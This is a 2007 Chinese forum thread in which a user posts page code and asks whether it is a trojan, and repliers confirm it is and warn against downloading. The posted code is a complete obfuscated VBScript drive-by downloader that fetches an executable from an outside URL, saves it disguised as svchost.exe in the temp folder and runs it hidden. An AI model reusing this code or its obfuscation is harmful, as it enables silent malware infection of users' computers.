查看: 1829|回复: 2
收起左侧

[电脑数码] 请高手看看是不是木马!!

[复制链接]
发表于 2007-3-16 19:22:42 | 显示全部楼层 |阅读模式 <
<html>
    <script language="VBScript">
    on error resume next
    m1="o"&"bj"&"ect"
    m2="classid"
    m3="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
    m4="Microsoft.XMLHTTP"
    m5="Shell.Application"
    m6="Scripti"&"ng.Fil"&"eSystemObject"
    Set XsKjc = document.createElement(m1)
    XsKj = "http://vip2.6to23.com/mingysa/123.exe
    sub yunxingexe(m5,Xskj9)
    set XsKje = XsKjc.createobject(m5,"")
    XsKje.ShellExecute XsKj9,"","","o"&"p"&"e"&"n",0
    end sub
    XsKjc.setAttribute m2, m3
    XsKji=m4
    Set XsKjd = XsKjc.CreateObject(XsKji,"")
    yhangf="Ado"
    yhangg="db."
    yhangh="Str"
    yhangi="eam"
    XsKjf=yhangf&yhangg&yhangh&yhangi
    XsKjg=XsKjf
    set XsKja = XsKjc.createobject(XsKjg,"")
    XsKja.type = 1
    XsKjh="G"&"E"&"T"
    XsKjd.Open XsKjh, XsKj, False
    XsKjd.Send
    XsKj9="svchost.exe"
    set XsKjb = XsKjc.createobject(m6,"")
    set XsKje = XsKjb.GetSpecialFolder(2)
    XsKja.open
    XsKj9= XsKjb.BuildPath(XsKje,XsKj9)
    XsKja.write XsKjd.responseBody
    XsKja.savetofile XsKj9,2
    XsKja.close
    call yunxingexe(m5,Xskj9)
    </script>
    </html>
发表于 2007-3-16 22:45:13 | 显示全部楼层 <

请高手看看是不是木马!!

http://vip2.6to23.com/mingysa/123.exe
明显的木马!!不要点击下载
发表于 2007-3-17 14:12:17 | 显示全部楼层 <

请高手看看是不是木马!!

汗..我想想还下不下来```
您需要登录后才可以回帖 登录 | 注册 微信登录 手机动态码快速登录

本版积分规则

QQ|Archiver|手机版|小黑屋|删帖指引|阳新新阳网 ( 鄂ICP备19013424号-2|42022202000111 )

GMT+8, 2024-7-8 15:42 , Processed in 0.578453 second(s), 24 queries .

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.